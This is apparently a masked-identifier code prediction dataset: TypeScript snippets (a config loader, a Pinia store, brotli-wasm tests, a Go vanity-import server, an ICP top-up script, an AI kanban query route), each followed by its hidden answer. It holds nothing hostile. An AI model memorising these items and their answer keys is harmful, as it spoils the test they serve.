        throw new Error(`Couldn't load a valid config from ${fissionConfigFilePath}.`)
    }
    if (!isFissionStore(fissionStore)) {
        console.log(fissionStore)
        throw new Error(`Couldn't load filesystem keys from ${fissionStorePath}.`)
    }

    if (!fs.existsSync(fissionConfig.signing_key_path)) {
        throw new Error(`Missing signing key at ${fissionConfig.signing_key_path}.`)
    }

    const writeKey = new Uint8Array(fs.readFileSync(fissionConfig.signing_key_path))

    if (writeKey.length !== 32) {
        throw new Error(`Couldn't load signing key at ${fissionConfig.signing_key_path}. Expected 32-byte ed25519 key. Got ${writeKey.length} bytes.`)
    }

    const rootProof = (() => {
        if (fissionConfig.root_proof == null) {
            return null
        }
        try {
            return CID.parse(fissionConfig.root_proof)
        } catch {
            throw new Error(`Couldn't parse root_proof property in fission config as CID: ${fissionConfig.root_proof}`)
        }
    })()

    const readKey = (() => {
        const mainStore = Object.values(fissionStore)[0]
        if (mainStore == null) {
            throw new Error(`Couldn't find root read key in ${fissionStorePath}.`)
        }
        const key = mainStore[""/""]
        if (key == null) {
            throw new Error(`Couldn't find root read key in ${fissionStorePath}.`)
        }
        return key
    })()

    if (ipfsConfig?.Addresses?.API == null) {
        throw new Error(`Couldn't load API address from the ipfs config at ${ [MASK] }. Missing ""Address.API"" setting.`)
    }

    return {
        fissionDir,
        fissionConfig,
        fissionConfigRootProof: rootProof,
        ipfsConfig,
        ipfsBinPath,
        ipfsAPIAddress: ipfsConfig.Addresses.API,
        endpoints: {
            ...endpointsDefault,
            api: remoteFromParam() ?? endpointsDefault.api
        },
        wnfsReadKey: readKey,
        writeKey
    }
}


function remoteFromParam(): string | null {
    let remote
    let idx
    idx = process.argv.indexOf(""-R"")
    if (idx != -1) {
        remote = process.argv[idx + 1]
    }
    idx = process.argv.indexOf(""--remote"")
    if (idx != -1) {
        remote = process.argv[idx + 1]
    }
    if (remote === ""production"") {
        return ""https://runfission.com""
    }
    if (remote === ""staging"") {
        return ""https://runfission.net""
    }
    return remote || null
}
",ipfsConfigPath
690,"export const useAppStore = defineStore(""appStore"", () => {
   const componentLoading = ref(false);
   const layoutLoading = ref(false);
   const localeLoading = ref(false);
   const progressLoading = ref(false);

   const  [MASK]  = {
      setComponentLoading(value: boolean) {
         componentLoading.value = value;
      },
      setLayoutLoading(value: boolean) {
         layoutLoading.value = value;
      },
      setLocaleLoading(value: boolean) {
         localeLoading.value = value;
      },
      setProgressLoading(value: boolean) {
         progressLoading.value = value;
      }
   };

   return {
      componentLoading: computed(() => componentLoading.value),
      layoutLoading: computed(() => layoutLoading.value),
      localeLoading: computed(() => localeLoading.value),
      progressLoading: computed(() => progressLoading.value),
      ... [MASK] 
   };
});
",actions
691,"import { TextEncoder, TextDecoder } from 'text-encoding';

if (typeof global !== 'undefined' && typeof global.TextEncoder === 'undefined') {
    global.TextEncoder = TextEncoder;
    global.TextDecoder = TextDecoder;
}

let getRandomValues: typeof crypto.getRandomValues;
let btoa: typeof global.btoa;
let atob: typeof global.atob;

if (typeof process !== 'undefined' && process.versions.node) {
    // Polyfill for web APIs not present in some node versions:
    atob = global.atob || require('atob');
    btoa = global.btoa || require('btoa');

    // This is actually available as crypto.webcrypto in Node 15+, but not in older versions.
    const { Crypto } = require('@peculiar/webcrypto');
    const crypto = new Crypto();
    getRandomValues = crypto.getRandomValues.bind(crypto);
} else {
    getRandomValues = crypto.getRandomValues.bind(crypto);
    btoa = globalThis.btoa;
    atob = globalThis.atob;
}

const textEncoder = new TextEncoder();
const textDecoder = new TextDecoder();
const dataToBase64 = (data: Uint8Array | number[]) => btoa(String.fromCharCode(...data));
const base64ToData = (base64: string) => new Uint8Array(
    [...atob(base64)].map(c => c.charCodeAt(0))
);

import { expect } from 'chai';
import brotliPromise, { type BrotliWasmType } from '..';

describe(""Brotli-wasm"", () => {

    let brotli: BrotliWasmType;
    beforeEach(async () => {
        brotli = await brotliPromise;
    });

    it(""can compress data"", () => {
        const input = textEncoder.encode(""Test input data"");
        const result = brotli.compress(input);
        expect(dataToBase64(result)).to.equal('Gw4A+KWpyubolCCjVAjmxJ4D');
    });

    it(""can compress data with a different quality setting"", () => {
        const input = textEncoder.encode(""Test input data"");
        const result = brotli.compress(input, { quality: 1 });
        expect(dataToBase64(result)).to.equal('CweAVGVzdCBpbnB1dCBkYXRhAw==');
    });

    it(""can decompress data"", () => {
        // Generated with: echo -n '$CONTENT' | brotli --stdout - | base64
        const input = base64ToData('GxoAABypU587dC0k9ianQOgqjS32iUTcCA==');
        const result = brotli.decompress(input);
        expect(textDecoder.decode(result)).to.equal('Brotli brotli brotli brotli');
    });

    it(""can compress and decompress data many times"", function () {
        this.timeout(10000); // Should only take 2-4 seconds, but leave some slack

        const input = textEncoder.encode(""Test input data"");

        for (let i = 0; i < 500; i++) {
            const compressed = brotli.compress(input);
            expect(dataToBase64(compressed)).to.equal('Gw4A+KWpyubolCCjVAjmxJ4D');

            const decompressed = brotli.decompress(compressed);
            expect(textDecoder.decode(decompressed)).to.equal('Test input data');
        }
    });

    it(""cleanly fails when options is something other than an object"", () => {
        const input = textEncoder.encode(""Test input data"");
        expect(() =>
            brotli.compress(input, ""this should not be a string"" as any)
        ).to.throw('Options is not an object');
    });

    it(""does not fail when options contain unknown properties"", () => {
        const input = textEncoder.encode(""Test input data"");
        const result = brotli.compress(input, { someRandomKey: 1, quality: 5 } as any);
        expect(dataToBase64(result)).to.equal('CweAVGVzdCBpbnB1dCBkYXRhAw==');
    });

    it(""does not fail when compressing with an illegal quality value"", () => {
        const input = textEncoder.encode(""Test input data"");
        const result = brotli.compress(input, { quality: 12 });
        expect(dataToBase64(result)).to.equal('Gw4A+KWpyubolCCjVAjmxJ4D');
    });

    it(""cleanly fails when decompressing garbage"", () => {
        const input = textEncoder.encode(""This is not brotli data, it's just a string"");
        expect(() =>
            brotli.decompress(input)
        ).to.throw('Brotli decompress failed');
    });

    it(""can compress & decompress back to the original result"", () => {
        const input = ""Some thrilling text I urgently need to compress"";
        const result = textDecoder.decode(
            brotli.decompress(brotli.compress(textEncoder.encode(input)))
        );
        expect(result).to.equal(input);
    });

    it(""can compress & decompress back to the original result with a different quality setting"", () => {
        const input = ""Some thrilling text I urgently need to compress"";
        const result = textDecoder.decode(
            brotli.decompress(brotli.compress(textEncoder.encode(input), { quality: 3 }))
        );
        expect(result).to.equal(input);
    });

    it(""can streamingly compress data"", () => {
        const input = textEncoder.encode(""Test input data"");
        const input1 = input.slice(0, input.length / 2);
        const input2 = input.slice(input.length / 2);
        const stream = new brotli.CompressStream();
        const result1 = stream.compress(input1, 100);
        const output1 = result1.buf;
        expect(result1.code).to.equal(brotli.BrotliStreamResultCode.NeedsMoreInput);
        const result2 = stream.compress(input2, 100);
        const output2 = result2.buf;
        expect(result2.code).to.equal(brotli.BrotliStreamResultCode.NeedsMoreInput);
        const result3 = stream.compress(undefined, 100);
        const output3 = result3.buf;
        expect(result3.code).to.equal(brotli.BrotliStreamResultCode.ResultSuccess);
        expect(dataToBase64([...output1, ...output2, ...output3])).to.equal('Gw4A+KWpyubolCCjVAjmxJ4D');
    });

    it(""can streamingly compress data with a different quality setting"", () => {
        const input = textEncoder.encode(""Test input data"");
        const input1 = input.slice(0, input.length / 2);
        const input2 = input.slice(input.length / 2);
        const quality = 1;
        const stream = new brotli.CompressStream(quality);
        const result1 = stream.compress(input1, 100);
        const output1 = result1.buf;
        expect(result1.code).to.equal(brotli.BrotliStreamResultCode.NeedsMoreInput);
        const result2 = stream.compress(input2, 100);
        const output2 = result2.buf;
        expect(result2.code).to.equal(brotli.BrotliStreamResultCode.NeedsMoreInput);
        const result3 = stream.compress(undefined, 100);
        const output3 = result3.buf;
        expect(result3.code).to.equal(brotli.BrotliStreamResultCode.ResultSuccess);
        // It will be different from non-streaming result.
        // But it can still be decompressed back to the original string.
        let output = new Uint8Array([...output1, ...output2, ...output3]);
        expect(dataToBase64(brotli.decompress(output))).to.equal(dataToBase64(input));
    });

    it(""can streamingly decompress data"", () => {
        // Generated with: echo -n '$CONTENT' | brotli --stdout - | base64
        const input = base64ToData('GxoAABypU587dC0k9ianQOgqjS32iUTcCA==');
        const input1 = input.slice(0, input.length / 2);
        const input2 = input.slice(input.length / 2);
        const stream = new brotli.DecompressStream();
        const result1 = stream.decompress(input1, 100);
        const output1 = result1.buf;
        expect(result1.code).to.equal(brotli.BrotliStreamResultCode.NeedsMoreInput);
        const result2 = stream.decompress(input2, 100);
        const output2 = result2.buf;
        expect(result2.code).to.equal(brotli.BrotliStreamResultCode.ResultSuccess);
        expect(textDecoder.decode(new Uint8Array([...output1, ...output2]))).to.equal('Brotli brotli brotli brotli');
    });

    it(""does not fail when streamingly compressing with an illegal quality value"", () => {
        const input = textEncoder.encode(""Test input data"");
        const input1 = input.slice(0, input.length / 2);
        const input2 = input.slice(input.length / 2);
        const quality = 12;
        const stream = new brotli.CompressStream(quality);
        const result1 = stream.compress(input1, 100);
        const output1 = result1.buf;
        expect(result1.code).to.equal(brotli.BrotliStreamResultCode.NeedsMoreInput);
        const result2 = stream.compress(input2, 100);
        const output2 = result2.buf;
        expect(result2.code).to.equal(brotli.BrotliStreamResultCode.NeedsMoreInput);
        const result3 = stream.compress(undefined, 100);
        const output3 = result3.buf;
        expect(result3.code).to.equal(brotli.BrotliStreamResultCode.ResultSuccess);
        expect(dataToBase64([...output1, ...output2, ...output3])).to.equal('Gw4A+KWpyubolCCjVAjmxJ4D');
    });

    it(""cleanly fails when streamingly decompressing garbage"", () => {
        const input = textEncoder.encode(""This is not brotli data, it's just a string"");
        const stream = new brotli.DecompressStream();
        expect(() =>
            stream.decompress(input, 100)
        ).to.throw('Brotli streaming decompress failed');
    });

    it(""can streamingly compress & decompress back to the original result"", () => {
        const s = ""Some thrilling text I urgently need to compress"";
        const encInput = textEncoder.encode(s);
        const encInput1 = encInput.slice(0, encInput.length / 2);
        const encInput2 = encInput.slice(encInput.length / 2);
        const encStream = new brotli.CompressStream();
        const encResult1 = encStream.compress(encInput1, 100);
        const encOutput1 = encResult1.buf;
        expect(encResult1.code).to.equal(brotli.BrotliStreamResultCode.NeedsMoreInput);
        const encResult2 = encStream.compress(encInput2, 100);
        const encOutput2 = encResult2.buf;
        expect(encResult2.code).to.equal(brotli.BrotliStreamResultCode.NeedsMoreInput);
        const encResult3 = encStream.compress(undefined, 100);
        const encOutput3 = encResult3.buf;
        expect(encResult3.code).to.equal(brotli.BrotliStreamResultCode.ResultSuccess);
        const encOutput = new Uint8Array([...encOutput1, ...encOutput2, ...encOutput3]);

        const decInput1 = encOutput.slice(0, encOutput.length / 2);
        const decInput2 = encOutput.slice(encOutput.length / 2);
        const decStream = new brotli.DecompressStream();
        const decResult1 = decStream.decompress(decInput1, 100);
        const decOutput1 = decResult1.buf;
        expect(decResult1.code).to.equal(brotli.BrotliStreamResultCode.NeedsMoreInput);
        const decResult2 = decStream.decompress(decInput2, 100);
        const decOutput2 = decResult2.buf;
        expect(decResult2.code).to.equal(brotli.BrotliStreamResultCode.ResultSuccess);
        const decOutput = new Uint8Array([...decOutput1, ...decOutput2]);

        expect(textDecoder.decode(decOutput)).to.equal(s);
    });

    it(""can streamingly compress & decompress back to the original result with a different quality setting"", () => {
        const s = ""Some thrilling text I urgently need to compress"";
        const encInput = textEncoder.encode(s);
        const encInput1 = encInput.slice(0, encInput.length / 2);
        const encInput2 = encInput.slice(encInput.length / 2);
        const quality = 3;
        const encStream = new brotli.CompressStream(quality);
        const encResult1 = encStream.compress(encInput1, 100);
        const encOutput1 = encResult1.buf;
        expect(encResult1.code).to.equal(brotli.BrotliStreamResultCode.NeedsMoreInput);
        const encResult2 = encStream.compress(encInput2, 100);
        const encOutput2 = encResult2.buf;
        expect(encResult2.code).to.equal(brotli.BrotliStreamResultCode.NeedsMoreInput);
        const encResult3 = encStream.compress(undefined, 100);
        const encOutput3 = encResult3.buf;
        expect(encResult3.code).to.equal(brotli.BrotliStreamResultCode.ResultSuccess);
        const encOutput = new Uint8Array([...encOutput1, ...encOutput2, ...encOutput3]);

        const decInput1 = encOutput.slice(0, encOutput.length / 2);
        const decInput2 = encOutput.slice(encOutput.length / 2);
        const decStream = new brotli.DecompressStream();
        const decResult1 = decStream.decompress(decInput1, 100);
        const decOutput1 = decResult1.buf;
        expect(decResult1.code).to.equal(brotli.BrotliStreamResultCode.NeedsMoreInput);
        const decResult2 = decStream.decompress(decInput2, 100);
        const decOutput2 = decResult2.buf;
        expect(decResult2.code).to.equal(brotli.BrotliStreamResultCode.ResultSuccess);
        const decOutput = new Uint8Array([...decOutput1, ...decOutput2]);

        expect(textDecoder.decode(decOutput)).to.equal(s);
    });

    it(""streaming compressing can handle needing more output when action is process"", function () {
        this.timeout(10000);
        // The input should be more than about 1.6MB with enough randomness
        // to make the compressor ask for more output space when the action is PROCESS
        const input = generateRandomBytes(1600000);
        const stream = new brotli.CompressStream();
        const result1 = stream.compress(input, 1);
        const output1 = result1.buf;
        expect(result1.code).to.equal(brotli.BrotliStreamResultCode.NeedsMoreOutput);
        const result2 = stream.compress(input.slice(result1.input_offset), 1500000);
        const output2 = result2.buf;
        expect(result2.code).to.equal(brotli.BrotliStreamResultCode.NeedsMoreInput);
        const result3 = stream.compress(undefined, 1640000);
        const output3 = result3.buf;
        expect(result3.code).to.equal(brotli.BrotliStreamResultCode.ResultSuccess);
        const output = new Uint8Array([...output1, ...output2, ...output3]);

        expect([...brotli.decompress(output)]).to.deep.equal([...input]);
    });

    it(""streaming compressing can handle needing more output when action is finish"", () => {
        const input = textEncoder.encode('Some thrilling text I urgently need to compress');
        const stream = new brotli.CompressStream();
        const result1 = stream.compress(input, 1);
        const output1 = result1.buf;
        expect(result1.code).to.equal(brotli.BrotliStreamResultCode.NeedsMoreInput);
        const result2 = stream.compress(undefined, 1);
        const output2 = result2.buf;
        expect(result2.code).to.equal(brotli.BrotliStreamResultCode.NeedsMoreOutput);
        const result3 = stream.compress(undefined, 100);
        const output3 = result3.buf;
        expect(result3.code).to.equal(brotli.BrotliStreamResultCode.ResultSuccess);
        const output = new Uint8Array([...output1, ...output2, ...output3]);
        expect(dataToBase64(brotli.decompress(output))).to.equal(dataToBase64(input));
    });

    it(""streaming decompressing can handle needing more output"", () => {
        const input = base64ToData('GxoAABypU587dC0k9ianQOgqjS32iUTcCA==');
        const stream = new brotli.DecompressStream();
        const result1 = stream.decompress(input, 1);
        const output1 = result1.buf;
        expect(result1.code).to.equal(brotli.BrotliStreamResultCode.NeedsMoreOutput);
        const result2 = stream.decompress(input.slice(result1.input_offset), 100);
        const output2 = result2.buf;
        expect(result2.code).to.equal(brotli.BrotliStreamResultCode.ResultSuccess);
        expect(textDecoder.decode(new Uint8Array([...output1, ...output2]))).to.equal('Brotli brotli brotli brotli');
    });

    const areStreamsAvailable = !!globalThis.TransformStream;

    it(""can streamingly compress & decompress back to the original result with web streams"", async function () {
        if (!areStreamsAvailable) return this.skip();

        // This is very similar to the streaming example in the README, but with reduced buffer sizes to
        // try and ensure it catches any issues:

        let input = """";
        for (let i = 0; i < 1000; i++) {
            input += `${i}: Brotli brotli brotli brotli `;
        }

        const inputStream = new ReadableStream({
            start(controller) {
                controller.enqueue(input);
                controller.close();
            }
        });

        const textEncoderStream = new TextEncoderStream();

        const compressStream = new brotli.CompressStream();
        const compressionStream = new TransformStream({
            transform(chunk, controller) {
                let resultCode;
                let inputOffset = 0;
                do {
                    const input = chunk.slice(inputOffset);
                    const result = compressStream.compress(input, 10);
                    controller.enqueue(result.buf);
                    resultCode = result.code;
                    inputOffset += result.input_offset;
                } while (resultCode === brotli.BrotliStreamResultCode.NeedsMoreOutput);
                if (resultCode !== brotli.BrotliStreamResultCode.NeedsMoreInput) {
                    controller.error(`Brotli compression failed when transforming with code ${resultCode}`);
                }
            },
            flush(controller) {
                let resultCode;
                do {
                    const result = compressStream.compress(undefined, 10);
                    controller.enqueue(result.buf);
                    resultCode = result.code;
                } while (resultCode === brotli.BrotliStreamResultCode.NeedsMoreOutput)
                if (resultCode !== brotli.BrotliStreamResultCode.ResultSuccess) {
                    controller.error(`Brotli compression failed when flushing with code ${resultCode}`);
                }
                controller.terminate();
            }
        });

        const decompressStream = new brotli.DecompressStream();
        const decompressionStream = new TransformStream({
            transform(chunk, controller) {
                let resultCode;
                let inputOffset = 0;
                do {
                    const input = chunk.slice(inputOffset);
                    const result = decompressStream.decompress(input, 100);
                    controller.enqueue(result.buf);
                    resultCode = result.code;
                    inputOffset += result.input_offset;
                } while (resultCode === brotli.BrotliStreamResultCode.NeedsMoreOutput);
                if (
                    resultCode !== brotli.BrotliStreamResultCode.NeedsMoreInput &&
                    resultCode !== brotli.BrotliStreamResultCode.ResultSuccess
                ) {
                  controller.error(`Brotli decompression failed with code ${resultCode}`)
                }
            },
            flush(controller) {
                controller.terminate();
            }
        });

        const textDecoderStream = new TextDecoderStream();

        let output = '';
        const  [MASK]  = new WritableStream({
            write(chunk) {
                output += chunk;
            }
        });

        await inputStream
            .pipeThrough(textEncoderStream)
            .pipeThrough(compressionStream)
            .pipeThrough(decompressionStream)
            .pipeThrough(textDecoderStream)
            .pipeTo( [MASK] );

        expect(output).to.equal(input);
  });
});

function generateRandomBytes(size: number) {
    const resultArray = new Uint8Array(size);
    let generatedSize = 0;

    // We can only generate 65535 bytes at a time, so we loop up to size:
    while (generatedSize < size) {
        const sizeToGenerate = Math.min(size - generatedSize, 65535);
        const stepResultArray = new Uint8Array(sizeToGenerate);

        getRandomValues(stepResultArray);

        resultArray.set(stepResultArray, generatedSize);
        generatedSize += sizeToGenerate;
    }

    return resultArray;
}
",outputStream
692,"import express from 'express';
import morgan from 'morgan';
import logger from './logger';
import {
  CONTEXT_PATH, PKG_IMPORT_TEMPLATE, PKG_SOURCE_TEMPLATE,
  PKG_VCS,
  IGNORE_PKGS,
} from './config';

const app = express();
const router = express.Router();

const morganFormat = ':remote-addr - :remote-user "":method :url HTTP/:http-version"" :status :res[content-length] "":referrer"" "":user-agent""'
app.use(morgan(morganFormat, {stream: logger.writableStream})); // morgan 로그 설정

app.use(express.json());
app.use(CONTEXT_PATH, router);
app.get('/_/health', (req: express.Request, res: express.Response) => {
  res
    .status(200)
    .send({
      status: 'OK'
    });
});

router.use((req: express.Request, res: express.Response) => {
  console.log(req.path);

  const packageFullPath = `${req.hostname}${req.path}`;
  const  [MASK]  = req.path.substring(1);

  const packageImport = PKG_IMPORT_TEMPLATE.replace(/\[PKG_NAME\]/g,  [MASK] );
  const packageSource = PKG_SOURCE_TEMPLATE.replace(/\[PKG_NAME\]/g,  [MASK] );

  if (IGNORE_PKGS.indexOf( [MASK] ) >= 0) {
    res.sendStatus(404);
    return;
  }

  res
    .status(200)
    .send(`
<!DOCTYPE html>
<html>
<head>
<meta http-equiv=""Content-Type"" content=""text/html; charset=utf-8""/>
<meta name=""go-import"" content=""${packageFullPath} ${PKG_VCS} ${packageImport}"" />
<meta name=""go-source"" content=""${packageFullPath} ${packageSource}"" />
</head>
<body>
go get ${packageFullPath}
</body>
</html>
`);
});

export {
  app
};
",packageName
693,"import ICPTopup from ""icptopup-ts"";
import { identityFromPemFile } from ""./utils"";
import { HttpAgent } from ""@dfinity/agent"";
import { Principal } from ""@dfinity/principal"";

// Node example - if in a browser context substitute taking the identity from a pem file with the identity you want to use
async function approveAndTopupCanisterAsync() {
  // if running via node, take in the pem file path as a cli argument
  const pemFilePath = process.argv[2];
  console.log(""pemFilePath"", pemFilePath);
  const identity = identityFromPemFile(pemFilePath);
  const agent = HttpAgent.createSync({ identity, host: ""https://ic0.app"" });

  // Note: Approvals cost 10_000 e8s
  // Also important to make sure the amount approved includes the 10_000 e8s fee for transferring the e8s to icptopup
  const approvalBlockIndex = await ICPTopup.approveToSpendE8s({
    agent,
    e8sToApprove: BigInt(1e7), // 0.1 ICP
  });
  console.log(
    ""approvalBlockIndex"",
    JSON.stringify(
      approvalBlockIndex,
      (key, value) => (typeof value === ""bigint"" ? value.toString() : value),
      2,
    ),
  );

  const allowance = await ICPTopup.checkAllowance({
    account: {
      owner: identity.getPrincipal(),
      subaccount: [],
    },
  });
  console.log(
    ""allowance"",
    JSON.stringify(
      allowance,
      (key, value) => (typeof value === ""bigint"" ? value.toString() : value),
      2,
    ),
  );

  // Note: make sure account transferring funds during the topup has e8sToTransfer + 10_000 e8s (ICP ledger fee) to cover the icp transfer
  const icpTopupActor = new ICPTopup(agent);
  const topupResponse = await icpTopupActor.batchTopupAsync({
    e8sToTransfer: BigInt(1e7), // 0.1 ICP
    topupTargets: [
      {
        canisterId: Principal.fromText(""qc4nb-ciaaa-aaaap-aawqa-cai""),
        topupProportion: 1n, // send 1/2 of the minted cycles here
      },
      {
        canisterId: Principal.fromText(""gf3bz-2aaaa-aaaap-ahngq-cai""),
        topupProportion: 2n, // send the other half of the minted cycles here
      },
    ],
  });
  console.log(
    ""topupResponse"",
    JSON.stringify(
      topupResponse,
      (_, v) => (typeof v === ""bigint"" ? v.toString() : v),
      2,
    ),
  );

  if (!(""ok"" in topupResponse)) {
    throw new Error(
      ""Async topup failed to kick off with error: "" + topupResponse.err,
    );
  }

  // Use the requestId to fetch the latest status of the topup request by:
  const requestId = topupResponse.ok;
  console.log(""async topup request id"", requestId);

  // 1. Checking the latest status of that requestId
  const  [MASK]  =
    await ICPTopup.getLatestTopupRequestStatus(requestId);
  console.log(
    ""latest request status"",
    JSON.stringify( [MASK] , (_, value) => {
      if (typeof value === ""bigint"") return value.toString();
      else if (value instanceof Principal) return value.toText();
      return value;
    }),
  );

  // Or
  // 2. Polling for the final status of the topup request
  // Note: success and error are the two request id end states
  const finalStatus = await ICPTopup.pollAsyncStatusUntilComplete({
    requestId,
    pollIntervalInMs: 5000,
    logStatusUpdates: true,
  });
  console.log(
    ""request complete with final status"",
    JSON.stringify(finalStatus, (_, value) => {
      if (typeof value === ""bigint"") return value.toString();
      else if (value instanceof Principal) return value.toText();
      return value;
    }),
  );
}

if (require.main === module) {
  approveAndTopupCanisterAsync()
    .then(() => {
      console.log(""done"");
    })
    .catch((err) => {
      console.error(err);
    });
}
",latestRequestStatus
694,"import { getApiParams } from ""@/lib/getApiParams"";
import { getIdentifiers } from ""@/lib/getIdentifiers"";
import { handleApiError } from ""@/lib/handleApiError"";
import { incrementUserInsight } from ""@/lib/insights"";
import { prisma } from ""@/lib/prisma"";
import { createGoogleGenerativeAI } from ""@ai-sdk/google"";
import { generateText } from ""ai"";
import * as chrono from ""chrono-node"";
import dayjs from ""dayjs"";
import advancedFormat from ""dayjs/plugin/advancedFormat"";
import utc from ""dayjs/plugin/utc"";
import { NextRequest } from ""next/server"";
import { NodeHtmlMarkdown } from ""node-html-markdown"";

dayjs.extend(utc);
dayjs.extend(advancedFormat);

export const maxDuration = 60;

export const OPTIONS = async () => {
  return new Response("""", {
    status: 200,
    headers: { ""Access-Control-Allow-Headers"": ""*"" },
  });
};

function parseDateRanges(dateFilter) {
  return dateFilter.map(( [MASK] ) => {
    let startDate: any = null;
    let endDate: any = null;

    const start =  [MASK] .start;
    const end =  [MASK] .end;
    const inputText =  [MASK] .text;

    // Use Chrono-provided start and end dates if available
    if (start) {
      startDate = dayjs(start.date());
    }

    if (end) {
      endDate = dayjs(end.date());
    }

    // If no end date, infer based on input text
    if (!endDate && start) {
      const impliedStart = dayjs(start.date());

      if (inputText.match(/\b(last week)\b/i)) {
        // ""Last week"" implies the full prior week (Monday to Sunday)
        startDate = impliedStart.startOf(""week"").subtract(1, ""week"");
        endDate = impliedStart.endOf(""week"").subtract(1, ""week"");
      } else if (inputText.match(/\b(yesterday)\b/i)) {
        // ""Yesterday"" implies one day prior
        startDate = impliedStart.subtract(1, ""day"");
        endDate = startDate;
      } else if (inputText.match(/\b(last month)\b/i)) {
        // ""Last month"" implies the previous calendar month
        startDate = impliedStart.startOf(""month"").subtract(1, ""month"");
        endDate = impliedStart.endOf(""month"").subtract(1, ""month"");
      } else if (inputText.match(/\b(last year)\b/i)) {
        // ""Last year"" implies the previous calendar year
        startDate = impliedStart.startOf(""year"").subtract(1, ""year"");
        endDate = impliedStart.endOf(""year"").subtract(1, ""year"");
      } else if (inputText.match(/\b(today|now)\b/i)) {
        // ""Today"" or ""now"" implies the current date
        startDate = impliedStart;
        endDate = startDate;
      } else if (inputText.match(/\b(tomorrow)\b/i)) {
        // ""Tomorrow"" implies the next day
        startDate = impliedStart.add(1, ""day"");
        endDate = startDate;
      } else {
        // Default fallback: assume a single day range
        endDate = startDate;
      }
    }

    return {
      startDate: startDate.toISOString(),
      endDate: endDate.toISOString(),
    };
  });
}

export async function POST(req: NextRequest) {
  try {
    const params = await getApiParams(
      req,
      [
        { name: ""id"", required: false },
        { name: ""prompt"", required: true },
      ],
      {
        type: ""BODY"",
      }
    );
    const { userId, spaceId } = await getIdentifiers();
    incrementUserInsight(userId, ""aiFeaturesUsed"");
    const data = await prisma.aiToken.findFirstOrThrow({ where: { userId } });

    const google = createGoogleGenerativeAI({ apiKey: data.token });

    let collection;
    const addedFilters: any[] = [];

    const dateFilter = chrono.parse(params.prompt);
    const predictedRanges = parseDateRanges(dateFilter);
    const importantTasksOnly = params.prompt.match(/\b(important)\b/i);

    if (dateFilter.length > 0)
      addedFilters.push(
        ...predictedRanges.map((d) => ({
          text: dayjs(d.startDate).isSame(dayjs(d.endDate), ""day"")
            ? `On ${dayjs(d.startDate).format(""MMM Do"")}`
            : `From ${dayjs(d.startDate).format(""MMM Do"")} - ${dayjs(
                d.endDate
              ).format(""MMM Do"")}`,
          icon: ""calendar_today"",
        }))
      );

    if (importantTasksOnly)
      addedFilters.push({
        text: ""Important tasks only"",
        icon: ""priority_high"",
      });

    if (params.id)
      collection = await prisma.collection.findFirst({
        where: {
          AND: [{ id: params.id }, { userId }],
        },
        select: {
          name: true,
          entities: {
            select: {
              name: true,
              note: true,
              start: true,
              recurrenceRule: true,
              _count: { select: { completionInstances: true } },
            },
          },
          labels: {
            select: {
              name: true,
              entities: {
                select: {
                  name: true,
                  note: true,
                  start: true,
                  recurrenceRule: true,
                  _count: { select: { completionInstances: true } },
                },
              },
            },
          },
        },
      });
    else
      collection = await prisma.entity.findMany({
        where: {
          AND: [
            { spaceId },
            importantTasksOnly ? { pinned: true } : {},
            dateFilter.length > 0
              ? {
                  AND: [
                    {
                      OR: predictedRanges.map((range) => ({
                        OR: [
                          {
                            start: { gte: range.startDate },
                            end: null,
                          },
                          {
                            start: { gte: range.startDate },
                            end: { lte: range.endDate },
                          },
                        ],
                      })),
                    },

                    { start: { not: null } },
                  ],
                }
              : {},
          ],
        },
        select: {
          name: true,
          note: true,
          start: true,
          recurrenceRule: true,
          _count: { select: { completionInstances: true } },
        },
      });

    const serialized = params.id
      ? JSON.stringify({
          n: collection.name,
          t: collection.entities.map((e) => ({
            n: e.name,
            d: e.note ? NodeHtmlMarkdown.translate(e.note) : undefined,
            r: e.start ? dayjs(e.start).format(""YYYY-MM-DD HH:mm"") : null,
            c: e._count.completionInstances > 0 && !e.recurrenceRule,
          })),
          l: collection.labels.map((l) => ({
            n: l.name,
            t: l.entities.map((e) => ({
              n: e.name,
              d: e.note ? NodeHtmlMarkdown.translate(e.note) : undefined,
              r: e.start ? dayjs(e.start).format(""YYYY-MM-DD HH:mm"") : null,
              c: e._count.completionInstances > 0 && !e.recurrenceRule,
            })),
          })),
        })
      : JSON.stringify({
          t: collection.map((e) => ({
            n: e.name,
            d: e.note ? NodeHtmlMarkdown.translate(e.note) : undefined,
            r: e.start ? dayjs(e.start).format(""YYYY-MM-DD HH:mm"") : null,
            c: e._count.completionInstances > 0 && !e.recurrenceRule,
          })),
        });

    const { text, usage } = await generateText({
      model: google(""gemini-2.0-flash-exp""),
      // prettier-ignore
      system: `
# Instructions and format
You are an AI which will answer a user's question based on their kanban board. 
You may answer general questions outside the context of the kanban board.
When a user asks for ideas, do not repeat items already in the board, abd provide a variety of ideas.
When a user asks for an explanation, make sure you give reasoning in another sentence.
Responses should be in a conversational format. Keep them to the point, informational. A paragraph may be 1-4 sentences. Write in bullet points.
Do not mention that it is a kanban board. Keep in mind some tasks may be completed, so be aware of this when answering questions.
You do not need to repeat the question in your response, but you should answer it directly.
The input schema is defined below. 
Some may not have a date. If a user's query uses dates in any way, you may ignore tasks without a date if needed to create a better, more concise response.
When a user's query has a relative date like ""last week"", you may ignore tasks which are not relevant to that date range.
Do not write too much or create an overwhelming response. Keep it simple and to the point.
The current date is ${dayjs().format(""YYYY-MM-DD"")}

# Schema
{
    ""n"": string,
    ""t"": {
        ""n"": string,
        ""d""?: string,
        ""r""?: string,
        ""c""?: boolean
    }[],
   ""l"": {
        ""n"": string,
        ""t"": {
          ""n"": string,
          ""d""?: string
          ""r""?: string
          ""c""?: boolean
        }[],
    }[]
}

- n: The name of the collection
- l: The labels in the collection. Each label has a name and a list of tasks
    - n: The name of the label
    - t: The tasks in the label. Each task has a name and a description
        - n: The name of the task
        - d: The description of the task
        - r: The date the task is due
        - c: Whether the task is completed or not
- t: Uncategorizedtasks in the collection. Each task has a name and a description
    - n: The name of the task
    - d: The description of the task
    - r: The date the task is due
    - c: Whether the task is completed or not

## Input 
### Collection
${JSON.stringify({
    n: ""College list"",
    t: [
        { n: ""Caltech"" },
    ],
    l: [
        {
            n: ""Reach"",
            t: [
            { n: ""Harvard"", d: ""Top college in the world"" },
            { n: ""MIT"", d: ""Top college in the world"" },
            ],
        },
        {
            n: ""Safety"",
            t: [
            { n: ""UC Berkeley"", d: ""Top college in the world"" },
            { n: ""Stanford"", d: ""Top college in the world"" },
            ],
        },
    ],
})}

### Prompt
Which of these colleges require SAT scores?

### Output
The colleges that require SAT scores are Harvard, MIT, UC Berkeley, and Stanford.
`,
      prompt: `
### Collection
${serialized}

### Prompt
${params.prompt}
`,
    });
